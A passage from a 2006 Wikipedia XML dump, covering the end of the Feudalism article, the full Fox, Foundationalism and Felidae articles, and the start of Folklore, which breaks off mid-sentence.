A historian whose concept of feudalism remains highly influential in the [[20th century]] is [[Francois-Lois Ganshof|François-Louis Ganshof]], who belongs to a pre-[[Second World War]] generation. Ganshof defines feudalism from a narrow legal and military perspective, arguing that feudal relationships existed only within the medieval nobility itself. Ganshof articulted this concept in ''Feudalism'' (1964). His classic definition of feudalism is the most widely known today and also the easiest to understand: simply put, when a lord granted a fief to a vassal, the vassal provided military service in return.

====Marc Bloch and sociological views of feudalism====
One of Ganshof's contemporaries, a French historian named [[Marc Bloch]], is arguably the most influential medieval historian of the twentieth century. Bloch approached feudalism not so much from a legal and military point of view but from a sociological one. He developed his ideas in ''Feudal Society'' (1961). Bloch conceived of feudalism as a type of society that was not limited solely to the nobility. Like Ganshof, he recognized that there was a hierarchal relationship between lords and vassals, but saw as well a similar relationship obtaining between lords and [[peasants]].

It is this radical notion that peasants were part of the feudal relationship that sets Bloch apart from his peers. While the vassal performed military service in exchange for the fief, the peasant performed physical labour in return for protection. Both are a form of feudal relationship. According to Bloch, other elements of society can be seen in feudal terms; all the aspects of life were centered on &quot;lordship&quot;, and so we can speak usefully of a feudal church structure, a feudal courtly (and anti-courtly) literature, a feudal economy. (See [[Feudal society]].)

====Revolt against the term feudalism====
In [[1974]], U.S. historian [[Elizabeth A.R. Brown]], in &quot;The Tyranny of a Construct: Feudalism and Historians of Medieval Europe&quot; (''American Historical Review'' 79), rejecting the label of feudalism as an anachronistic construct that imparts a false sense of uniformity to the concept. She noted the many different, contradictory definitions of feudalism in circulation and argued that, in the absence of any accepted definition, feudalism is a construct with no basis in medieval reality, an invention of modern historians read back &quot;tyrannically&quot; into the historical record. Supporters of Brown have gone so far as to suggest that the term should be expunged from history textbooks and lectures on medieval history entirely. In ''Fiefs and Vassals: The Medieval Evidence Reinterpreted'' (1994), Susan Reynolds expanded upon Brown's original thesis. Although some of her contemporaries questioned Reynolds' methodology, her thesis has received support from other historians. Note that Reynolds does not object to the Marxist use of 'feudalism'.

==History of feudalism==
===Early forms of feudalism in Europe===
Vassalage agreements similar to what would later develop into legalized medieval feudalism originated from the blending of ancient Roman and Germanic traditions. The Romans had a custom of [[patronage]] whereby a stronger patron would provide protection to a weaker client in exchange for gifts, political support and prestige. In the countryside of the later Empire, the reforms of [[Diocletian]] and his successors attempted to put certain jobs, notably farming, on an hereditary basis. As governmental authority declined and rural lawlessness (such as that of the [[Bagaudae]]) increased, these farmers were increasingly forced to rely upon the protection of the local landowner, and a nexus of interdependency was created: the landowners depended upon the peasants for labour, and the peasants upon the landowners for protection.

Ancient Germans had a custom of equality among warriors, an elected leader who kept the majority of the wealth (land) and who distributed it to members of the group in return for loyalty.

===Decline of feudalism===
Feudalism had begun as a contract, the exchange of land tenure for military service. Over time, as lords could no longer provide new lands to their vassals, nor enforce their right to reassign lands which had become ''de facto'' hereditary property, feudalism became less tenable as a working relationship.  By the [[thirteenth century]], Europe's economy was involved in a transformation from a mostly [[agrarian]] system to one that was increasingly money-based and mixed.  Land ownership was still an important source of income, and still defined social status, but even wealthy nobles wanted more liquid assets, whether for luxury goods or to provide for wars.  This corruption of the form is often referred to as &quot;[[bastard feudalism]]&quot;.  A noble vassal was expected to deal with most local issues and could not always expect help from a distant king. The nobles were independent and often unwilling to cooperate for a greater cause (military service). By the end of the Middle Ages, the kings were seeking a way to become independent of willful nobles, especially for military support. The kings first hired mercenaries and later created standing national armies.

Historian J. J. Bagley notes that the [[fourteenth century]]
:&quot;marked the end of the true feudal age and began paving the way for strong monarchies, nation states, and national wars of the sixteenth century. Much fourteenth century feudalism had become artificial and self-conscious. Already men were finding it a little curious. It was acquiring an antiquarian interest and losing its usefulness. It was ceasing to belong to the real world of practical living.&quot;

==Questioning feudalism==
===Did feudalism exist?===
The following are historic examples that call into question the traditional use of the term feudalism.

Extant sources reveal that the early [[Carolingians]] had vassals, as did other leading men in the kingdom. This relationship did become more and more standardized over the next two centuries, but there were differences in function and practice in different locations. For example, in the German kingdoms that replaced the kingdom of [[Eastern Francia]], as well as in some [[Slavic]] kingdoms, the feudal relationship was arguably more closely tied to the rise of [[Serfdom]], a system that tied peasants to the land (for more on this see the works of [[Leonard Blum]] on the history of serfdom).

Moreover, the evolution of the [[Holy Roman Empire]] greatly affected the history of the feudal relationship in central Europe. If one follows long-accepted feudalism models, one might believe that there was a clear hierarchy from Emperor to lesser rulers, be they kings, dukes, princes, or margraves. These models are patently untrue: the [[Holy Roman Emperor]] was elected by a group of seven magnates, three of whom were princes of the church, who in theory could not swear allegiance to any secular lord.

The French kingdoms also seem to provide clear proof that the models are accurate, until we take into consideration the fact that, when Hrolf or [[Rollo of Normandy|Rollo the Ganger]] kneeled to pay homage to [[Charles the Simple]] in return for the Duchy of [[Normandy]], accounts tell us that he knocked the king on his rump as he rose, demonstrating his view that the bond was only as strong as the lord - in this case, not strong at all. Clearly, it was possible for 'vassals' to openly disparage feudal relationships.

The autonomy with which the Normans ruled their duchy supports the view that, despite any legal &quot;feudal&quot; relationship, the Normans did as they pleased. In the case of their own leadership, however, the Normans utilized the feudal relationship to bind their followers to them. It was the influence of the Norman invaders which strengthened and to some extent institutionalized the feudal relationship in England after the [[Norman Conquest]].

Since we do not use the medieval term vassalage how are we to use the term feudalism? Though it is sometimes used indiscriminately to encompass all reciprocal obligations of support and loyalty in the place of unconditional tenure of position, jurisdiction or land, the term is restricted by most historians to the exchange of specifically voluntary and personal undertakings, to the exclusion of involuntary obligations attached to tenure of &quot;unfree&quot; land: the latter are considered to be rather an aspect of [[Manorialism]], an element of feudal society but not of feudalism proper.

===Cautions on use of term &quot;feudalism&quot;===
&quot;Feudalism&quot; and related terms should be approached and used with considerable caution owing to the range of meanings associated with the term. A cautious historian like [[Fernand Braudel]] sets &quot;feudalism&quot; in quotes in applying it in wider social and economic contexts, such as &quot;the seventeenth century, when much of America was being 'feudalized' as the great ''[[hacienda]]s'' appeared&quot; (''The Perspective of the World,'' 1984, p. 403). 

Medieval societies never described themselves as &quot;feudal&quot;. Though used in popular parlance to represent all voluntary or customary bonds in medieval society, or a social order in which civil and military power is exercised under private contractual arrangements, the term is best considered appropriate only to the voluntary, personal undertakings binding lords and free men to protection in return for support which characterised the administrative and military order.

===Other feudal-like systems===
{{main|Feudalism (examples)}}
Other feudal-like land tenure systems have existed, and continue to exist, in different parts of the world.

==Notes==
*{{fnb|1}}Philip Daileader (2001). &quot;Feudalism&quot;. ''The High Middle Ages''. [[The Teaching Company]]. ISBN 1565858271

==External links==
*Paul Halsall, [http://www.fordham.edu/halsall/sbook1i.html &quot;Feudalism?&quot;] from the [[Internet Medieval Sourcebook]], history of the term.

==Bibliography==
*Marc Bloch, ''Feudal Society.'' Tr. L.A. Manyon. Two volumes. Chicago : University of Chicago Press, 1961 ISBN 0226059790
*Francois-Lois Ganshof, ''Feudalism.'' Tr Philip Grierson. New York: Harper and Row, 1964.
*Jean-Pierre Poly and Eric Bournazel, ''The Feudal Transformation, 900-1200.'', Tr. Caroline Higgitt. New York and London: Holmes and Meier, 1991.
* Susan Reynolds, ''Fiefs and Vassals: The Medieval Evidence Reinterpreted.'' Oxford: Oxford University Press, 1994 ISBN 0198206488
* Normon E. Cantor. ''Inventing the Middle Ages: The Lives, Works, and Ideas of the Great Medievalists of the Twentieth century.'' Quill, 1991.

== See also ==
* [[Bastard feudalism]]
* [[Overlord]]
* [[Vassal]]
* [[Pikeman]]
* [[Chivalry]]
* [[Knights]]
* [[Majorat]]
* [[Indian feudalism]]

&lt;!-- interwiki --&gt;

[[Category:Economic history]]
[[Category:Middle Ages]]
[[Category:Feudalism]]

[[af:Feodalisme]]
[[bg:Феодализъм]]
[[ca:Feudalisme]]
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[[es:Feudalismo]]
[[eo:Feŭdismo]]
[[fr:Féodalité]]
[[hr:Feudalizam]]
[[hu:Feudalizmus]]
[[ko:봉건제도]]
[[is:Lénsskipulag]]
[[it:Feudalesimo]]
[[ja:封建制]]
[[nl:Feodalisme]]
[[no:Føydalisme]]
[[pl:Feudalizm]]
[[pt:Feudalismo]]
[[ru:Феодализм]]
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[[fi:Feodalismi]]
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[[zh:封建制度]]</text>
    </revision>
  </page>
  <page>
    <title>Fox</title>
    <id>11299</id>
    <revision>
      <id>42057690</id>
      <timestamp>2006-03-03T14:40:22Z</timestamp>
      <contributor>
        <ip>69.142.116.122</ip>
      </contributor>
      <comment>threw out incorrect spelling fix (was in URL)</comment>
      <text xml:space="preserve">{{otheruses}}     
[[Image:Vulpes vulpes laying in snow.jpg|thumb|A Red Fox (''Vulpes vulpes'')]]

A '''fox''' is a member of any of 27 [[species]] of small [[omnivore|omnivorous]] [[canid]]s.  The animal most commonly called a ''fox'' in the Western world is the [[Red Fox]] (''Vulpes vulpes''), although different species of foxes can be found on almost every [[continent]].  The presence of foxes all over the globe has led to their appearance in the [[popular culture]] and [[folklore]] of many [[nation]]s, [[tribe]]s, and other cultural groups.

Fox terminology is different from that used for most canids.  Male foxes are known as ''dogs'', ''tods'' or ''[[reynard]]'', females are referred to as ''vixens'', and their young are called ''kits'' or ''cubs'', as well as ''pups''.  A group of foxes is a ''skulk''.

==General characteristics==
With most species roughly the size of a [[domestic cat]], foxes are smaller than other members of the family ''[[Canidae]]'', such as [[wolf|wolves]], [[jackal]]s, and domestic [[dog]]s. Recognizable characteristics also include pointed muzzles and bushy tails. Other physical characteristics vary according to their habitat. For example, the Desert Fox has large ears and short fur, whereas the Arctic Fox has small ears and thick, insulating fur. 

Unlike many canids, foxes are not pack animals. They are solitary, opportunistic feeders that hunt live prey (especially [[rodent]]s). Using a pouncing technique practiced from an early age, they are usually able to kill their prey quickly.  Foxes also gather a wide variety of other foods ranging from [[grasshopper]]s to [[fruit]] and [[berry|berries]].

Foxes are nearly always extremely wary of humans, and are not kept as pets, but the [[Tame Silver Fox|Silver Fox]] was successfully [[domesticated]] in Russia after a 45 year selective breeding program.

==Classification==
{| cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;float: right&quot;
|-
| [[Image:Rød ræv (Vulpes vulpes).jpg|thumb|right|[[Red Fox]]]]
|-
| [[Image:Desert fox with mouth open.jpg|thumb|right|[[Desert Kit Fox]]]]
|-
| [[Image:Black fox in den.jpg|thumb|right|180px|Black Fox]]
|-
| &lt;!-- Image with unknown copyright status removed: [[Image:Fox_face_close_up!.jpg|thumb|right|[[Red Fox]]]] --&gt;
|-
|}
Foxes include members of the following genera:
* ''[[Alopex]]'' ([[Arctic Fox]])
* ''[[Cerdocyon]]'' ([[Crab-eating Fox]])
* ''[[Dusicyon]]'' ([[Falkland Island Fox]])
* ''[[Fennecus]]'' ([[Fennec]], or [[Desert Fox]])
* ''[[Lycalopex]]'' ([[Hoary Fox]])
* ''[[Otocyon]]'' ([[Bat-eared Fox]])
* ''[[Pseudalopex]]'' (four [[South America]]n species, including the [[Culpeo]])
* ''[[Urocyon]]'' ([[Gray Fox]] and [[Island Fox]])
* ''[[Vulpes]]'' (the ten species of &quot;true&quot; foxes, including the [[Red Fox]] (vulpes vulpes)

==Vocalisation==

Foxes do not come together in chorus like wolves or coyotes do.  Fox families, however, keep in contact with a wide array of different sounds.  These sounds grade into one another and span five octaves; each fox has its own characteristically individual voice.  Fox noises can be divided, with a few exceptions, into two different groups: contact sounds and interaction sounds. The former is used by foxes communicating over long distances, the latter in close quarters.  

; &quot;Wow-wow-wow&quot; : The most well-known vulpine noise is a sort of barking that spans three to five syllables.  &quot;Conversations&quot; made up of these noises often occur between widely spaced foxes.  As their distance decreases, the sound becomes quieter.  A cub is greeted with the quietest version of this sound.

; The alarm bark : This monosyllabic sound is made by an adult to warn cubs of danger.  From far away it sounds like a sharp bark, but at closer range it resembles a muffled cough, like a football rattle or a stick along a picket fence.

; Gekkering : This is a stuttering, throaty noise made at aggressive encounters.  It is most frequently heard in the courting season, or when kits are at play.

; The vixen's wail : This is a long, drawn-out, monosyllabic, and rather eerie wail most commonly made during the breeding season; it is widely thought that it is made by a vixen in heat summoning dog-foxes.  Contrary to common belief, however, it is also made by the males, evidently serving some other purpose as well.  This noise fits into neither the contact nor the interaction group.

==Ecobalance==
In some countries, such as [[Australia]], with no strong competitors, imported foxes quickly devastate native wildlife and become a serious [[invasive species | invasive]] [[pest (animal) | pest]]. On the other hand, many fox species are [[endangered species|endangered]].

Foxes can be used for helpful environmental purposes as well.  They have been successfully employed to control [[pest (animal)|pest]]s on fruit [[farm]]s, leaving the fruit intact.[http://www.nysaes.cornell.edu/pubs/press/foxes.html]

Historians believe foxes were being imported into non-native environments long before the colonial era. The first example of the introduction of the fox into a new habitat by humans seems to be [[Neolithic]] [[history of Cyprus|Cyprus]].  Stone carvings representing foxes have been found in the early settlement of [[Göbekli Tepe]] in eastern [[Turkey]].

==Cultural connotations==
In many [[culture]]s, the fox is a [[familiar animal]] of [[folklore]], a symbol of [[cunning]] and [[trickery]].  Some well-known stories involving foxes are found in [[Aesop]]'s [[fables]]; another is the [[medieval]] story of [[Reynard]]. In [[The Little Prince]], a fox indicates the true value of things like friendship.

In [[China|Chinese]] folklore, [[fox spirit]]s lure men away from their wives. The Chinese word for fox spirit is synonymous with the mistress in an extramarital affair.

In [[Japan]]ese folklore, the fox-like ''[[kitsune]]'' is a powerful animal spirit (''[[Yokai|Y&amp;#333;kai]]'') that is highly mischievous and cunning.

The words &quot;fox&quot; or &quot;foxy&quot; have become synonymous slang in Western society for an individual (most often female) with sex appeal.

The fox is an especially popular animal in the [[furry fandom]].

==Famous Fictional Foxes==

* [[Miles &quot;Tails&quot; Prower]], from ''[[Sonic the Hedgehog]]''
* [[Fox McCloud]] from the [[Star Fox series]] of video games
* Tod in [[The Fox and the Hound]]
* [[Basil Brush]], British television personality
* Fox and his mate Vixen led [[The Animals of Farthing Wood]]
* Kyuubi, a nine-tailed fox from the anime and manga [[Naruto]].
* [[Kurama]], character from  the [[anime]] [[Yu Yu Hakusho]]
* Fuse the [http://www.fusionradio.ca Fusion Radio] fox

==See also==                                                                                      
* [[Violet gland]]
* [[Tame Silver Fox]]

==External links==
*[http://www.vulpes.org/foxden/information/index.htm Fox information]
*[http://news.bbc.co.uk/cbbcnews/hi/newsid_4240000/newsid_4245900/4245983.stm Tame fox research]

[[Category:Foxes]]
[[Category:Fur]]

[[ast:Raposu]]
[[ca:Guineu]]
[[chr:ᏧᎳ]]
[[cy:Cadno]]
[[da:Ræv]]
[[de:Fuchs (Säugetier)]]
[[es:Zorro]]
[[fr:Renard]]
[[gd:Sionnach]]
[[ko:여우]]
[[io:Foxo]]
[[he:שועל]]
[[la:Vulpes]]
[[nl:Vossen]]
[[ja:キツネ]]
[[pl:Lis]]
[[pt:Raposa]]
[[ro:Vulpe]]
[[sv:Rävar]]
[[wa:Rinåd]]
[[zh:狐狸]]</text>
    </revision>
  </page>
  <page>
    <title>Foundationalism</title>
    <id>11300</id>
    <revision>
      <id>38860599</id>
      <timestamp>2006-02-09T03:01:09Z</timestamp>
      <contributor>
        <ip>146.201.142.35</ip>
      </contributor>
      <text xml:space="preserve">'''Foundationalism''' is any theory in [[epistemology]] (typically, [[theory of justification|theories of justification]], but also of [[knowledge]]) that holds that beliefs are justified (known, etc.) based on what are called ''[[basic belief]]s'' (also commonly called foundational beliefs).  Basic beliefs are beliefs that give justificatory [[epistemic support|support]] to other beliefs, and more derivative beliefs are [[basing relation in epistemology|based]] on those more basic beliefs. The basic beliefs are said to be [[epistemic self-justification|self-justifying]] or [[self-evidence|self-evident]], that is, they are justified, although not justified ''by other beliefs.'' Typically and historically, foundationalists have held either that basic beliefs are justified by [[mental event]]s or states, such as experiences, that do not constitute beliefs (these are called [[nondoxastic]] mental states), or that they simply are not the type of thing that can be (or needs to be) justified.

Hence, generally, a foundationalist might offer the following [[theory of justification]]:

:A belief is ''epistemically justified'' [[iff |if and only if]] (1) it is justified by a basic belief or beliefs, or (2) it is justified by a chain of beliefs that is supported by a basic belief or beliefs, and on which all the others are ultimately based.

A basic belief, on the other hand, does not require justification because it is a different kind of belief than a non-foundational one.

== Arguments for foundationalism ==

Foundationalists generally tend to argue that there must be some set of epistemologically basic propositions or else the process of justification will always lead to an infinite [[regress argument|regress]], like a four-year old constantly asking &quot;why?&quot;

== Historical foundationalism: rationalism vs. empiricism ==

Historically, two varieties of foundationalist theories were rationalism (or [[continental rationalism]], to refer to the historical movement) and [[empiricism]] (or [[British Empiricism]]).  Strictly speaking, neither empiricism nor rationalism is committed to foundationalism (it is possible to be an empiricist coherentist, for example, and that was a common epistemological position in [[20th century]] philosophy).

Rationalism is the general name for epistemological theories that maintain that reason is the source and criterion of knowledge.  Rationalists generally hold that so-called truths of reason are the (most important) epistemologically basic propositions. The historical [[continental rationalism]] expounded by [[René Descartes]] rejected empiricism entirely, while modern rationalism asserts that reason is strongest when it is supported by or consistent with evidence and hence relies heavily on empirical [[science]] in analyzing justifications for belief. [[René Descartes]] famously held that some of these truths are known innately and therefore constitute epistemologically basic innate knowledge, a view not commonly held in modern rationalism.

Empiricism is the general name for epistemological theories that maintain that sensation reports are the source and criterion of knowledge.  Classical empiricists generally held that such reports are indubitable and incorrigible and therefore worthy of serving as epistemologically basic propositions.

== Alternatives to foundationalism ==

Alternatives to foundationalism, usually called [[Anti-foundationalism]], include [[coherentism]] and [[reliabilism]] (though this has sometimes been construed as an unusual variant of foundationalism).  [[Contextualism]] (or, in a stripped-down version, the [[blind posits theory]]) is the epistemological version of [[relativism]]; relativism is more often regarded as a theory of truth than as a theory of justification or knowledge. Also see [[Pragmatism]].

== External links ==

* [http://plato.stanford.edu/entries/justep-foundational/ Stanford Encyclopedia of Philosophy entry]

{{Philosophy navigation}}

[[Category:Epistemology]]
[[Category:Philosophical theories]]</text>
    </revision>
  </page>
  <page>
    <title>Felidae</title>
    <id>11302</id>
    <revision>
      <id>39505382</id>
      <timestamp>2006-02-13T23:46:48Z</timestamp>
      <contributor>
        <ip>71.32.113.104</ip>
      </contributor>
      <text xml:space="preserve">:''For the novel by Akif Pirinçci, see [[Felidae (novel)]].''
{{Taxobox
| color = pink
| name = Felines
| image = Panthera tigris tigris.jpg
| image_width = 250px
| image_caption = [[Tiger]], the largest feline found in nature.
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Carnivora]]
| familia = '''Felidae'''
| familia_authority = [[Johann Fischer von Waldheim|G. Fischer de Waldheim]], 1817
| subdivision_ranks = Subfamilies
| subdivision = 
[[Felinae]]&lt;br /&gt;
[[Pantherinae]]&lt;br /&gt;
[[Cheetah|Acinonychinae]] &lt;br /&gt;
[[Machairodontinae]] &lt;i&gt;(extinct)&lt;/i&gt;
}}

[[Lion]]s, [[tiger]]s, [[cat]]s and other felines are members of the [[family (biology)|family]] '''Felidae'''. They are the most strictly carnivorous of the nine families in the [[order (biology)|order]] [[Carnivora]]. The first felids emerged during the [[Eocene]], about 40 million years ago. The most familiar feline is the [[cat|domestic cat or house cat]] (subspecies ''Felis silvestris catus''), which first became associated with humans between 7000 and 4000 years ago. Its wild relatives still live in Africa and western Asia, although [[habitat destruction]] has restricted their range.

Other well-known members of the feline family include [[big cat]]s such as the [[lion]], [[tiger]], [[leopard]], [[jaguar]], and [[cheetah]] (which appears to be descended from the small cats), and other [[wild cat]]s such as the [[lynx]], [[puma]], [[caracal]], and [[bobcat]]. All felines, the small domestic cat included, are [[apex predator|superpredators]] capable of destroying almost any creature smaller than themselves. 

Some lesser known members of the feline family include hybrids bred in captivity such as the [[liger]], and the [[tigon]].  The [[liger]] remains as the largest cat in the feline family, even surpassing the size of the [[tiger]] (it should be noted, however, that the tiger remains the largest feline found in nature).

There are 37 known [[species]] of felines in the world today that all descended from a common ancestor c. 10.8 million years ago. This species originated in Asia and spread across continents by crossing [[land bridge]]s. As reported in the journal ''[[Science (journal)|Science]]'', testing of [[mitochondrial DNA|mitochondrial]] and [[nuclear DNA]] by Warren Johnson and Stephen O'Brien of the U.S. [[National Cancer Institute]] demonstrated that ancient cats evolved into eight main lineages that diverged in the course of at least 10 migrations (in both directions) from continent to continent via the [[Bering land bridge]] and [[Isthmus of Panama]]. The ''[[Panthera]]'' species are the oldest and the ''[[Felis]]'' species are the youngest. They estimated that 60% of the modern species of cats developed within the last million years.

Prior to this discovery, biologists had been largely unable to establish a family tree of cats from the fossil record because the fossils of different cat species all look very much alike, differing primarily in size.

The felines' closest relatives are thought to be the [[civet]]s, [[hyena]]s, and [[mongoose]]s. All feline species share a genetic anomaly that prevents them from tasting sweetness [http://genetics.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pgen.0010003].

==Classification==
*'''Subfamily Felinae'''
**[[Genus]] ''[[Felis]]''
*** [[Wild Cat]], ''Felis silvestris''
**** [[Cat|Domestic Cat]], ''Felis silvestris catus''
*** [[Sand Cat]], ''Felis margarita''
*** [[Jungle Cat]], ''Felis chaus''
*** [[Black-footed Cat]], ''Felis nigripes''
*** [[Chinese Desert Cat]], ''Felis bieti''
**Genus ''[[Pallas Cat|Otocolobus]]''
*** [[Pallas Cat]], ''Otocolobus manul''
**Genus ''[[Catopuma]]''
*** [[Asiatic Golden Cat]], ''Catopuma temminckii''
*** [[Bay Cat]], ''Catopuma badia''
**Genus ''[[African Golden Cat|Profelis]]''
*** [[African Golden Cat]], ''Profelis aurata''
**Genus ''[[Prionailurus]]''
*** [[Leopard Cat]], ''Prionailurus bengalensis''
*** [[Fishing Cat]], ''Prionailurus viverrinus''
*** [[Flat-headed Cat]], ''Prionailurus planiceps''
*** [[Rusty-spotted Cat]], ''Prionailurus rubiginosus''
**Genus ''[[Lynx]]''
*** [[Eurasian Lynx]], ''Lynx lynx''
*** [[Spanish Lynx]], ''Lynx pardinus''
*** [[Canadian Lynx]], ''Lynx canadensis''
*** [[Bobcat]], ''Lynx rufus''
**Genus ''[[Caracal]]''
*** [[Caracal]], ''Caracal caracal''
**Genus ''[[Serval|Leptailurus]]''
*** [[Serval]], ''Leptailurus serval''
**Genus ''[[Jaguarundi|Herpailurus]]''
*** [[Jaguarundi]], ''Herpailurus yaguarondi''
**Genus ''[[Oncifelis]]''
*** [[Pampas Cat]], ''Oncifelis colocolo''
*** [[Geoffroy's Cat]], ''Oncifelis geoffroyi''
*** [[Kodkod]], ''Oncifelis guigna''
**Genus ''[[Andean Cat|Oreailurus]]''
*** [[Andean Cat]], ''Oreailurus jacobita''
**Genus ''[[Leopardus]]''
*** [[Ocelot]], ''Leopardus pardalis''
*** [[Margay]], ''Leopardus wiedii''
*** [[Little Spotted Cat]], ''Leopardus tigrinus''
**Genus ''[[Puma]]''
*** [[Puma]], ''Puma concolor''
*'''Subfamily Pantherinae'''
**Genus ''[[Marbled Cat|Pardofelis]]''
*** [[Marbled Cat]], ''Pardofelis marmorata''
**Genus ''[[Clouded Leopard|Neofelis]]''
*** [[Clouded Leopard]], ''Neofelis nebulosa''
**Genus ''[[Snow Leopard|Uncia]]''
*** [[Snow Leopard]], ''Uncia uncia''
**Genus ''[[Panthera]]''
*** [[Lion]], ''Panthera leo''
*** [[Tiger]], ''Panthera tigris''
*** [[Leopard]], ''Panthera pardus''
*** [[Jaguar]], ''Panthera onca''
*'''Subfamily Acinonychinae'''
**Genus ''[[Cheetah|Acinonyx]]''
*** [[Cheetah]], ''Acinonyx jubatus''

==Alternative classification==

Genetic research gives a very different classification for the cat family.

Lineage 1: Panthera, Uncia, Neofelis &lt;br /&gt;
Lineage 2: Lynx, Pardofelis &lt;br /&gt;
Lineage 3: Puma, Herpailurus, Acinonyx (possibly), Catopuma (possibly)&lt;br /&gt;
Lineage 4: Leptailurus, Caracal, Profelis &lt;br /&gt;
Lineage 5: Leopardus, Oncifelis, Oreailurus &lt;br /&gt;
Lineage 6: Felis, Otocolobus &lt;br /&gt;
Lineage 7: Prionailurus &lt;br /&gt;

==Fossil felines==
The oldest known felines (''[[Aelurogale]]'', ''[[Eofelis]]'') emerged in the [[Eocene]]. Better known is ''[[Proailurus]]'', which lived in the [[Oligocene]] and [[Miocene]] eras. During the Miocene it gave way to ''[[Pseudaelurus]]''. ''Pseudaelurus'' is believed to be the latest common ancestor of the three above-mentioned subfamilies and another subfamily, the ''[[Machairodontinae]]''. This group, better known as the sabertooth cats, became extinct in the Late [[Pleistocene]] era. It includes the genera ''[[Smilodon]]'', ''[[Machairodus]]'', ''[[Dinofelis]]'' and ''[[Homotherium]]''.

==References==
*[http://nmnhgoph.si.edu/msw/ Mammal Species of The World]
*[http://www.csew.com/felidtag/pages/Reports/taxon_legal.htm Taxonomic and Legal Status of the Felidae]
*[http://www.ncbi.nlm.nih.gov/htbin-post/Taxonomy/wgetorg?mode=Undef&amp;id=9681&amp;lvl=3&amp;keep=1&amp;srchmode=1&amp;unlock National Center for Biotechnology Information]
*[http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=180580 ITIS Report]
*&quot;[http://www.latimes.com/news/science/la-sci-cats7jan07,1,3077938.story?coll=la-news-science Ancient Wanderlust Key to Cat Family Tree]&quot;, ''[[Los Angeles Times]]'', January 7, 2006
*[http://news.nationalgeographic.com/news/2006/01/0111_060111_cat_evolution.html Cats Climb New Family Tree] (National Geographic News - January 11, 2006)

==See also==
* [[Phantom cat]]

[[Category:Felines| ]]

[[bg:Коткови]]
[[ca:Felí]]
[[cs:Kočkovití]]
[[da:Kattefamilien]]
[[de:Katzenartige]]
[[et:Kaslased]]
[[es:Felino]]
[[eo:Felisedoj]]
[[fr:Felidae]]
[[gl:Felino]]
[[ko:고양잇과]]
[[id:Felidae]]
[[it:Felidae]]
[[he:חתוליים]]
[[jv:Felidae]]
[[la:Felidae]]
[[lt:Katiniai]]
[[lb:Kazen]]
[[li:Katte]]
[[nl:Katachtigen]]
[[ja:ネコ科]]
[[no:Kattefamilien]]
[[nn:Kattedyr]]
[[oc:Felidae]]
[[pl:Kotowate]]
[[pt:Felino]]
[[ru:Кошачьи]]
[[sk:Mačkovité]]
[[fi:Kissaeläimet]]
[[sv:Kattdjur]]
[[vi:Họ Mèo]]
[[wa:Tchetidî]]
[[zh:猫科]]</text>
    </revision>
  </page>
  <page>
    <title>Folklore</title>
    <id>11303</id>
    <revision>
      <id>41803554</id>
      <timestamp>2006-03-01T21:28:27Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.147.151.48|24.147.151.48]] ([[User talk:24.147.151.48|talk]]) to last version by DabMachine</comment>
      <text xml:space="preserve">'''Folklore''' is the body of [[verbal]] expressive [[culture]], including [[folktales|tales]], [[legend]]s, [[oral history]], [[proverb]]s, [[joke]]s, [[superstition|popular belief]]s current among a particular population, comprising the [[oral tradition]] of that culture, [[subculture]], or [[group]]. The academic and usually [[ethnology|ethnographic]] study of folklore is known as [[folkloristics]]. 

==History==
The concept of folklore developed as part of the [[19th century]] ideology of [[romantic nationalism]], leading to the reshaping of oral traditions to serve modern ideological goals; only in the [[20th century]] did [[Ethnography|ethnographers]] begin to attempt to record folklore without overt political goals. The [[Brothers Grimm]], [[Wilhelm Grimm|Wilhelm]] and [[Jakob Grimm]], collected orally transmitted German tales and published the first series as ''Kinder- und Hausmärchen'' (&quot;Children's and Household Tales&quot;) in [[1812]].

The term was coined in [[1846]] by an Englishman, [[William Thoms]], who wanted to use an [[Anglo-Saxon]] term for what was then called &quot;popular antiquities.&quot; [[Johann Gottfried von Herder]] first advocated the deliberate recording and preservation of folklore to document the authentic spirit, tradition, and identity of the German people; the belief that there can be such authenticity is one of the tenets of the [[romantic nationalism]] which Herder developed.  The definition most widely accepted by current scholars of the field is &quot;artistic communication in small groups,&quot; coined by [[Dan Ben-Amos]] a scholar at the [[University of Pennsylvania]], and the term, and the associated field of study, now include non-verbal art forms and customary practices.

==The study of folklore==
While folklore can contain religious or mythic elements, it typically concerns itself with the mundane traditions of everyday life. Folklore frequently ties the practical and the esoteric into one narrative package. It has often been conflated with mythology, and vice versa, because it has been assumed that any figurative story that does not pertain to the dominant beliefs of the time is not of the same status as those dominant beliefs. Thus, [[Rome|Roman]] religion is called &quot;myth&quot; by [[Christianity|Christians]]. In that way, both myth and folklore have become catch-all terms for all figurative narratives which do not correspond with the dominant belief structure. Sometimes &quot;folklore&quot; is religious in nature, like the tales of the [[Wales|Welsh]] ''[[Mabinogion]]'' or those found in [[Iceland|Icelandic]] [[skaldic poetry]]. Many of the tales in the ''[[Golden Legend]]'' of [[Jacob de Voragine]] also embody folklore elements in a Christian context: examples of such [[Christian mythology]] are the themes woven round [[Saint George]] or [[Saint Christopher]]. In this case, the term &quot;folklore&quot; is being used in a pejorative sense. That is, while the tales of [[Odin]] the Wanderer have a religious value to the Norse who composed the stories, because it does not fit into a Christian configuration it is not considered &quot;religious&quot; by Christians who may instead refer to it as &quot;folklore.&quot;

On the other hand, folklore can be used to accurately describe a figurative narrative, which has no sacred or religious content. In the [[Jungian psychology|Jungian]] view, which is but one method of analysis, it may instead pertain to unconscious psychological patterns, instincts or [[archetypes]] of the mind. This lore may or may not have components of the [[fantasy|fantastic]] (such as [[magic (paranormal)|magic]], ethereal beings or the personification of inanimate objects). These folktales may or may not emerge from a religious tradition, but nevertheless speak to deep psychological issues. The familiar folklore, &quot;[[Hansel and Gretel]],&quot; is an example of this fine line. The manifest purpose of the tale may primarily be one of mundane instruction regarding forest safety or secondarily a [[cautionary tale]] about the dangers of famine to large families, but its latent meaning may evoke a strong emotional response due to the widely-understood  [[theme (literature)|theme]]s and [[Motif (literature)|motif]]s such as “The Terrible Mother”, “Death,” and “Atonement with the Father.” There can be both a moral and psychological scope to the work, as well as entertainment value, depending upon the nature of the teller, the style of the telling, the ages of the audience members, and the overall [[context]] of the [[performance]]. Folklorists generally resist universal interpretations of [[narrative]]s and, wherever possible, analyze 